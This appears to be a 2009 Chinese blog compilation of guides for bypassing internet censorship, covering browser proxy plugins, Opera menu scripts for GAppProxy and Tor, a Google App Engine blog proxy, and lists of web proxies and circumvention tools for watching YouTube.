
现在发挥Keyconfig插件作用的时候了,还是右键点击Firefox状态栏的FoxyProxy图标,选择“选项”,切换到“快速添加”选项卡下, 勾选“启用”,然后在下方的“Proxy to which pattern is added”下拉框中选择前文设置的GAppProxy即可,如下图。

启用快速添加之后,当我们碰到不能访问的网站时,就可以按下“Alt+F2”(此快捷键由Keyconfig定义的),会跳出一个窗口,一般情况直接按“确定”就完成,如下图。

这样设置以后,访问快速添加的网页(如添加了YouTube),FoxyProxy就会自动采用代理,而访问其他网页,则会直接访问。怎么样,FoxyProxy和KeyConfig两个插件的组合,着实强大、智能吧!还等什么,赶快体验吧。

整合GAppProxy到Opera

作者:紫电 来源:紫电的博客

在菜单里添加以下代码

[Proxy Menu]
Item, 1016988895=Show preferences,23 & Show proxy servers
Item, "启用GApp代理"=Execute program,"D:\Opera\OperaTools\GAppProxy\GApp.exe", "start" & Disable proxy servers & Set preference, "Proxy|HTTP server=127.0.0.1:8000" & Set preference, "Proxy|HTTPS server=127.0.0.1:8000" & Enable proxy servers
Item, "关闭GApp代理 "=Execute program,"D:\Opera\OperaTools\GAppProxy\GApp.exe", "end" & Disable proxy servers

按钮

ButtonX, "代理"="Enable proxy servers, , , "使用代理", "proxy" | Disable proxy servers, , , "不使用代理", "proxy" + Show popup menu, "Proxy Menu", , , "proxy""

今天想用GAppProxy代理,没想弹出个此扩展名未注册,看了一下原来自己写的引导程序被小红伞卡嚓掉 ,后来发现问题出在GApp.exe的图标上,给GApp.exe加上图标就不会报毒,真是令人无语。

下载

整合Tor到Opera

作者:紫电 来源:紫电的博客

最近对Tor比较感兴趣,写了一个引导程序整合到Opera里

在菜单里添加以下代码

[Proxy Menu]
Item, 1016988895=Show preferences,23 & Show proxy servers
--------------------1
Item, "启用Tor代理"=Execute program,"OperaTools\Tor\loadtor.exe", "start" & Disable proxy servers & Set preference, "Proxy|HTTP server=127.0.0.1:8118" & Set preference, "Proxy|HTTPS server=127.0.0.1:8118" & Enable proxy servers
Item, "关闭Tor代理 "=Execute program,"OperaTools\Tor\loadtor.exe", "end" & Disable proxy servers

按钮

ButtonX, "代理"="Enable proxy servers, , , "使用代理", "proxy" | Disable proxy servers, , , "不使用代理", "proxy" + Show popup menu, "Proxy Menu", , , "proxy""
下载

推荐最简单的翻墙术

来源:海阔天空

推荐一种最简单的翻墙术,只要打开这个网址,把你要上的网站的网址输入文本框,点"在线代理访问"即可,速度还可以,也不需要下载,使用起来非常方便,我在公司上网时,因为不想使用自由门,无界等翻墙软件,都是用的这种翻墙术,很好很强大!

在线代理服务器网站

用GoogleAppEngine给自己的blogspot做个代理

最近plurk.com被盾了,我一门心思的想给她做个代理,主要就是想吧iBeyondbullog4cn的代码改改,结果当然是失败了。据作者(iBeyond)说是因为:“一般来说,服务器对POST提交上来的数据都是会有一些安全性的处理的。所有,POST这部分不容易处理。 ”我是懂了个大概,主要是安全原因吧,Plurk一看这些请求都不是来自于plurk的URL当然会出问题了。当然代理有很多,最近光是基于GoogleAppEngine的就有很多,我主要是想可以和 bullog4cn.appspot.com 一样的域名,很简洁也很方便,不像GAppProxy还要来个客户端,也就是很专一的意思。

这个尝试虽然失败了,但是我却想到可以为我被封的那个blog(cranecn.blogspot.com)做个专门的代理啊,iBeyond的源代码上注释的很清楚可以替换想要代理的地址。试了一下就成功,和以前同样是iBeyond做的那个gfw.appspot.com的区别是,不用把地址搞的那么麻烦了(同样作者也罢这个源代码开放了)。

简单说一下:

  1. 注册一个 App Engine 帐户。create an application,会有一个地址生成http://application-id.appspot.com,好像可以注册10个免费的application。
  2. 下载python,下载Google App Engine SDK,不用到中文页面去下载,那里的程序好久没更新了。然后安装这两个程序,其中Google App Engine SDK会在桌面上生成一个文件夹的快捷方式,打开在里面新建一个文件夹,重命名比如叫 kyle
  3. 下载源代码,然后保存在那个上面提到的那个新建文件夹kyle里,两个文件一个是app.ymal,另一个是 main.py。注意,要以utf-8编码保存,我就吃了这个亏,郁闷了好久。用记事本或notepad++编辑这连个文件,把 app.ymal 里面的第一行 application: gfw 改成你自己注册的那个 application:application-id 。把 main.py 里作者注释的 #远程主机,如果想代理其他主机的话。。。。。下面的哪一行改成你的blog地址。还有#google分析代码,自己看着办。。。你就自己看着办吧,我曾经把它全删了,后来出现错误,原来google_analytics = """ """不是Google Analytics提供的代码,也就是说引号中间的内容可以删也可以替换成你自己的,其他的不可以。保存~
  4. 上传程序:打开命令提示符(开始-运行-cmd),如果当时Google App Engine SDK是按照默认地址安装的话,就输入 cd /d "C:\Program Files\Google\google_appengine\" ,如果是自选路径那就自己看着办吧。然后利用Google App Engine SDK提供的上传命令 appcfg.py update kyle 。然后就会输入你的邮箱账号密码(好似没有显示*号,不管他)。然后如果没有错误(error)的话,那几算完成了。
  5. 然后在浏览器中输入 http://application-id.appspot.com 。就这样了,注意,这是支持https的!

作者提供的代码是专门为代理牛博国际提供的,里面有好多事专门为牛博设计的。懂代码的可以自己改,反正我不懂,就让那些不相干的代码留在那里吧。

还有一点奇怪的是上传完毕后没有出现传说中的Uploading index definitions ,后台也显示None Deployed。但是网站照样用,怪哉!网页里的某些挂件不能用了,比如blogger跟踪。下奶好多人直接用GoogleAppEngine做blog,我看了几个都不太满意。

我以前的blog 现在就可以访问了 : crane.appspot.com,现在的id可是有6个字符的限制啊,幸亏我申请的早。其实,这个blog我已经不怎么用了,不过是觉得代理很好玩罢了。照着个原理,大部分常规网站都可以做个代理,好的很!就是plurk不能,不太好。

又把 GFW4blogspot 装了一下,挺好玩的。作者似乎把首页删了,这能通过 https://gfw.appspot.com/ibeyond 这种形式来访问了。我的 jiluwuyu.appspot.com同样的方法访问。

以前gfw.appspot.com的首页还没有被删的时候,我去看,经常可以看到有人通过这个代理上一些色情blog之类的,我就郁闷了:难道上黄网也要翻墙?至少我是不要的~~~

link: iBeyond's Eyes

GAppProxy我流傻瓜指南

gfw tunnel

gfw4blogspot

bullog4cn

firefox使用tor和autoproxy突破gfw

来源:http://zaichunchen.blogspot.com/2009/04/firefoxtorautoproxygfw.html

在很多时候我所访问到的网站都打不开,被gfw了。通过使用autoproxy和tor可以绕过。

1. 首先安装autoproxy,下载地址http://autoproxy.mozdev.org/latest.xpi,安装完成之后在autoproxy的选择代理服务器选项中选择tor












2. 安装tor, 到Electronic Frontier Foundation,EFF下载,地址http://tor.eff.org,或者google一下tor下载,安装完毕,启动就可以了。
GFW Blog附:tor官网镜像地址
先是加密格式的地址:
https://tor.plentyfact.net/
https://tor.ccc.de/index.html.zh-cn
https://torproj.xpdm.us/index.html.zh-cn

再是普通格式的地址:
http://tor.plentyfact.net/
http://tor.unfix.org/
http://tor.sixxs.net/
http://crypto.nsa.org/tor/
http://tor.boinc.ch/
http://tor.cypherpunks.at/
http://tor.blingblingsquad.net/
http://mirror.onionland.org/
https://tor.plentyfact.net/
http://www.theonionrouter.com/
http://tor.hermetix.org/
http://tor.kamagurka.org/
http://tor.amorphis.eu/
http://tor.cybermirror.org/
http://tor.anonymity.cn/
http://tor.amorphis.eu/
http://tor.ccc.de/download.html.zh-cn
http://tor.zuo.la/index.html.zh-cn

用keyconfig打造快速切换代理(而且是超光速代理)

var URL = "http://www.sneakme.net/browse.php?u="+content.location;
const IN_NEW_TAB = true;
const IN_BACKGROUND = false;

if (IN_NEW_TAB)
gBrowser.loadOneTab(URL, null, null, null, IN_BACKGROUND, false);
else
gBrowser.loadURI(URL);
--------------------------------------------------------------------------
把上列代码放到keyconfig自定义设置键代码列表里,快捷键可以自定义.

重启火狐.

当我们进入一个被gfw的网站,出现"无法连接的画面时,只要按下我们设定的快捷键,该无法浏览的界面就会直接通过一个超快速的,看youtube不卡的代理服务器进行浏览了.

有了它,我现在代理扩展已经不用了.

RE: 用keyconfig打造快速切换代理(而且是超光速代理)

LZ的脚本非常的好,方便了不少。LZ的这个脚本其实也可以直接使用在firegestures鼠标手势上。
因为本人是使用firegestures鼠标手势的,所以我在LZ的劳动成果上再增强了一下,如果是在超链接上面使用这个鼠标手势的话,可以调用代理来打开这个超链接;如果不是超链,则调用代理来打开本页。

const IN_NEW_TAB = true;
const IN_BACKGROUND = false;
var linkURL = FireGestures.getLinkURL();
if (linkURL)
var URL="http://www.sneakme.net/browse.php?u="+ linkURL ;
else
var URL = "http://www.sneakme.net/browse.php?u="+content.location;
if (IN_NEW_TAB)
gBrowser.loadOneTab(URL, null, null, null, IN_BACKGROUND, false);
else
gBrowser.loadURI(URL);

2009年4月24日星期五

在线代理zend2.com

或许你已经发现了。GO2没有以前好用了。更另人不愉快的是自从youtube被封,为节省流量,不少优秀在线代理屏蔽了中国IP(翻墙看youtube的人数不少)

一个简单的JavaScript跟踪代码便可检测出您的个人IP地址,您的电脑操作系统,使用的浏览器状况。优秀的代理服务器就是为您添加一个额外的保护层,保护自己的隐私是很有必要的。

zend2.com使用数据显示,自从youtube被封china使用率增加。浏览youtube很顺畅


其他观看youtube代理:

http://www.xhidenow.info/

http://www.bestsecureprox.info

http://www.httproxy.info/


图文综合在线代理

  1. http://proxy.org/
  2. http://www.freeproxies.org/
  3. http://centurian.org/
使用中比较稳当的在线代理。
  1. http://pimpmyip.org/
  2. http://www.prxy4.us/
  3. http://ninjacloak.com/
  4. http://www.beatfiltering.com/
  5. http://secretweb.info/
  6. http://www.wisehide.com/
  7. http://dtunnel.com/
  8. http://unblockglobal.com/

2009年4月23日星期四

被封时期在线看YouTube的可行性探讨


被封时期在线看YouTube的可行性探讨

一、实验目的

1、通过本实验了解YouTube是怎么被封的。

2、通过本实验掌握在线看YotTube的方法。

3、通过本实验理解突破封锁的思路。

二、实验原理

YouTube被封了,是怎么被封的呢?首先是封域名,凡是含.youtube.的网址都被封了;其次是封IP,凡是www.youtube.对应的IP都被封了。

怎么在线看呢?一般的方法是直接使用代理,不过代理总没有直连速度快,在线看视频总是有点卡,有什么办法可以高速在线看呢?

研究发现YouTube上的视频即没有在含.youtube.的网址上也没有在www.youtube.对应的IP上,而是在其它google的服务器上,而此服务器现在还没有被封,本实验正是利用这一点来实现在线高速看YouTube视频!

三、实验仪器

在线代理网〔https://mirrorrr.appspot.com/https://quick-proxy.appspot.com/〕、视频分析网〔http://keephd.com/http://kej.tw/flvretriever/http://feelingtea.com/〕、视频播放器〔KMPlayerSMPlayerGOM Player

四、实验步骤

1、复制网址

打开https://mirrorrr.appspot.com/输入http://www.youtube.com/?hl=zh-CN

点击go按钮进入YouTube网站,选择喜欢的视频打开后按图所示复制网址。(如果已知道所要看视频的网址则跳过此步)

2、分析地址

打开http://keephd.com/网站,如图所示粘贴第一步复制的地址到方框点击download开始解析地址,解析完成后得到flv,3gp,mp4格式的视频地址。(如果要下载视频直接点击链接即可,3gp,mp4视频格式可以在手机上观看)

3、在线观看

如图中所示复制网址,打开KMPlayer右键选择打开URL将复制的网址粘贴到方框点击打开稍等即开始播放。(SMPlayer效果比KMPlayer要好些)

五、注意事项

1、可使用其他速度比较快的代理来替换文中提到的代理,比如GappProxy等。

2、使用http://kej.tw/flvretriever/分析网址时要在网址前加http://把网址补充完整。

3、播放器最好用Windows Media Player可以通过安装终极解码使其支持flv解码。

六、结果讨论

1、你认为YouTube该不该被封?

2、有人说我国的网络审查既是劳民伤财又是自欺欺人的表现,结合此次实验谈谈你的看法! 注:互联网审查防火长城突破网络审查

原创文章,如需转载请注明出处,附上本文网址!文中方法仅供浏览YouTuBe,请勿用于非法用途!

貌似最近YouTube莫名地被封了,介绍几种翻墙看YouTube的方法!
一、TSP
TSP是Tor+SocksCap32+polipo组合包的缩写,是一套突破网络封锁保护公民隐私的工具,控制台运行后,在本机提供两个加密的代理服务器:http代理:127.0.0.1:8123? socks5代理:127.0.0.1:9050
1.新手使用:初次运行后,等待一段时间,看右上角会出现连接成功的提示。你就可以双击sockscap窗口中IE浏览器图标打开浏览器浏览任意网站了。记住:如果没有对浏览器设置代理,只有从sockscap窗口启动的IE浏览器才是加密的。使用多了以后会越来越快的。
2.速度比较快的方法(推荐使用):在某浏览器的代理设置选项中设置http代理:127.0.0.1 端口:8123 正常启动浏览器即可用了。这种方法浏览速度比较快。
怎么设置IE浏览器?点"开始"--"控制面板"--点开"Interent选项",里面点"连接"项,点开里面的"局域网设置",打勾"代理服务器",在地址里面填"127.0.0.1",在端口里面填"8123",下面打勾"跳过本地地址的代理服务器",按"确定"即设置好了。不用的时候,修改回去即可。
3.其它程序怎么通过此上网?
点"新建",里面浏览找到你需要的程序,按确定。此程序即出现在sockscap窗口中,双击sockscap窗口中的程序运行即可。
下载:www.namipan.com/d/fbcbfceb847c6e1ff77322127fc728aef4584d534c892300
二、GTunnel
打开软件等会就会弹出IE窗口等打开后输入YouTube的网址就可以了!其提供了四种模式,其中的Skype和GTalk模式很好用!GTalk模式,需要有GMail账号,运行GTunnel,然后在GTunnel选项对话框中输入GMail地址和密码,并测试是否能够连接,然后在GTunnel菜单中选择GTalk模式!http和socks5代理:127.0.0.1:8081
下载:www.namipan.com/d/482e50d3f824fbc817856f8eaced72bb677fab57995c0e00
三、UltraSurf
双击打开软件就可以用IE浏览YouTube了(此时不能用IE打开国内网站),高级点的用法就打开软件点击帮助查看吧!http代理:127.0.0.1:9666
下载:www.namipan.com/d/b8afa4f53bc18fecf2303db84a63e5841ea1abf7acff0500
四、Cproxy
软件运行后会自动设置IE代理,输入网址即可!http代理:127.0.0.1:3128? socks5代理:127.0.0.1:9000
下载:www.namipan.com/d/b2f26effd0e0211ce89d77107ee03f5d5d42b32e18ab0a00
五、Java Anon Proxy
打开软件连接到服务器后设置浏览器http代理为127.0.0.1:4001就可以了!
下载:http://anon.inf.tu-dresden.de/develop/JonDo_Portable.paf.exe
六、AnchorFree Hotspot Shield
一个很好的免费VPN,下载安装后打开软件,右键点击任务栏上的红色的盾牌图标,点击connect,然后程序会打开网页,自动连接,等待10多秒中过一会就好了,断开的话,就是右击绿色的盾牌,然后点击disconnect,vpn代理就断开了!(连接VPN后你的整个网络环境就成国外了)
下载:http://www.hotspotshield.com/download/hss-win/HSS-1.14-install-anchorfree-76-conduit.zip
七、Projectloki
一个不错的免费VPN,下载软件安装后重启电脑,打开软件登陆连接即可!
下载:http://www.projectloki.com/download/LokiVPNClientSetup.zip
八、Psiphon
发送标题为 Can I have psiphon2 Access 邮件到 english@sesawe.net,说明你来自中国,等待一段时间,会收到一封带有注册链接的邮件,进去设置密码就可以使用 Psiphon2 了。记住当前 IP 地址,就是你的在线代理服务器的地址了!
九、www.proxyliste.com
这个代理网站有上千个网页代理链接,一个个试吧,看哪个能在线看YouTube,祝你好运!
sneakme.netproxyboxonline.com看YouTube很流畅,打开网页输入YouTube的网址点击go!就可以了)
原创文章,如需转载请注明出处,附上本文网址!文中方法仅供浏览YouTuBe,请勿用于非法用途!
如果你知道要看YouTube视频的网址复制下来粘贴到http://kej.tw/flvretriever/http://keephd.com/http://keepvid.com/分析其地址,得到地址后下载观看即可,也可以将其分析的地址粘贴到播放器播放!